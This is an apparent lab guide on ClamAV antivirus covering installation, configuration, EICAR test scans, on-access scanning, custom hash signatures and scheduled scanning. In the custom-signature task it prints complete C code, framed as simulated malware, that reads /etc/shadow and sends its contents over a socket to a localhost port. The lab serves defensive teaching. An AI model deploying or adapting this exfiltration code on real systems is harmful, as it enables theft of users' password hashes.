Endpoint Sec - ClamAV

Objectives

- Install and configure ClamAV
- Understand virus signature databases
- Perform different types of scans
- Create custom virus definitions
- Implement real-time scanning
- Analyze scan reports
- Automation

What is ClamAV ?

An open-source antivirus software toolkit designed for detecting and eliminating malware, viruses, trojans, and other malicious threats. It offers cross-platform support and is widely utilized for email, web, and file scanning. Featuring a powerful command-line interface, it ensures efficient detection through regular database updates and compatibility with various file formats and archives. a complete documention is accessible at: https://docs.clamav.net/

Instalation & Configuration

ClamAV could be easy installed using linux package managers. To install it follow (I assume you have a debian based destro):

```
sudo apt update
sudo apt install clamav clamav-daemon clamtk
```

Verify correct installation

```
clamscan --version
freshclam --version
```

Task 1: Examine config file

1. Examine the main configuration files:

```
sudo nano /etc/clamav/clamd.conf
sudo nano /etc/clamav/freshclam.conf
```

2. Document the following settings:

- DatabaseDirectory
- UpdateLogFile
- LogFile
- LogTime
- LogFileMaxSize
- MaxDirectoryRecursion

Task 2: Basic Operations

Directory Scanning

1. Create a test directories & donwload ECAR file:

```
mkdir -p ~/clam-av-lab/{clean,infected,quarantine}
cd ~/clam-av-lab

wget -P ./infected https://secure.eicar.org/eicar.com
wget -P ./infected https://secure.eicar.org/eicar.com.txt
wget -P ./infected https://secure.eicar.org/eicar_com.zip
```

2. Perform different types of scans:

```
# Basic scan
clamscan ~/clam-av-lab/infected/

# Recursive scan with log
clamscan -r ~/clam-av-lab/infected/ -l scan_log.txt

# Move infected files to quarantine
clamscan -r --move=/home/<user>/clam-av-lab/quarantine ~/clam-av-lab/infected/
```

Real-Time Protection

ClamAV can also run operate automatic scans (called On Access Scanning), to enable it modify damon config:

```
sudo nano /etc/clamav/clamd.confcl

# Add/modify these lines, change <user> with your logged in user
OnAccessIncludePath /home/<user>/clam-av-lab

```

```
OnAccessPrevention yes
OnAccessExcludeUname clamav

# Restart the daemon
sudo systemctl restart clamav-daemon
```

Now to test, drop the test ECAR file inside the tagret folder. try interacting wth the file, you should get "Operation not permitted" message.

Taks 3: Custom Signature - Hash-based

For this task, we simulte malware binary, generte a hash and used for detection. Assume the following C code a malware ;)

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

#define PORT 1998
#define SERVER_IP "127.0.0.1"
#define BUFFER_SIZE 1024

int main() {
    int sock;
    struct sockaddr_in server_addr;
    FILE *shadow_file;
    char buffer[BUFFER_SIZE];

    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0) {
        perror("Socket creation failed");
        exit(EXIT_FAILURE);
    }

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);
    if (inet_pton(AF_INET, SERVER_IP, &server_addr.sin_addr) <= 0) {
        perror("Invalid address/ Address not supported");
        close(sock);
        exit(EXIT_FAILURE);
    }
    if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("Connection failed");
        close(sock);
        exit(EXIT_FAILURE);
    }

    shadow_file = fopen("/etc/shadow", "r");
    if (!shadow_file) {
        perror("Failed to open /etc/shadow");
        close(sock);
        exit(EXIT_FAILURE);
    }

    while (fgets(buffer, BUFFER_SIZE, shadow_file)) {
        if (send(sock, buffer, strlen(buffer), 0) < 0) {
            perror("Send failed");
            fclose(shadow_file);
            close(sock);
            exit(EXIT_FAILURE);
        }
    }

    printf("Contents of /etc/shadow sent successfully.\n");

    fclose(shadow_file);
    close(sock);

    return 0;
}
```

1. compile it using gcc (make sure it is installed): `gcc mal.c -o mal`
2. use clamav's `sigtool` to generate malware hash: `sigtool --md5 mal > mal-sig.hdb`
3. validate is content : `cat mal-sig.hdb`
4. test it: `clamscan -d mal-sig.hdb mal`

But, **what mal.c do ?**

Taks 3: Automation

I would be beneificiate to automate scanning operations and allow for notifications to sysadmins. To do so:

1. Create an scan autmation script :

```
#!/bin/bash
LOG_FILE="/var/log/clamav/scheduled_scan.log"
SCAN_DIR="/home/<user>/clam-av-lab" # change user with the loggin user

echo "Scan started at $(date)" >> $LOG_FILE
clamscan -r --move=/home/<user>/clam-av-lab/quarantine \
    --log=$LOG_FILE $SCAN_DIR
echo "Scan finished at $(date)" >> $LOG_FILE
```

2. Schedule with cron:

```
sudo crontab -e

# Run daily scans at 2 AM
0 2 * * * /path/to/scan_script.sh
```

BONUS: modify the automation script to send you the scan report to your email box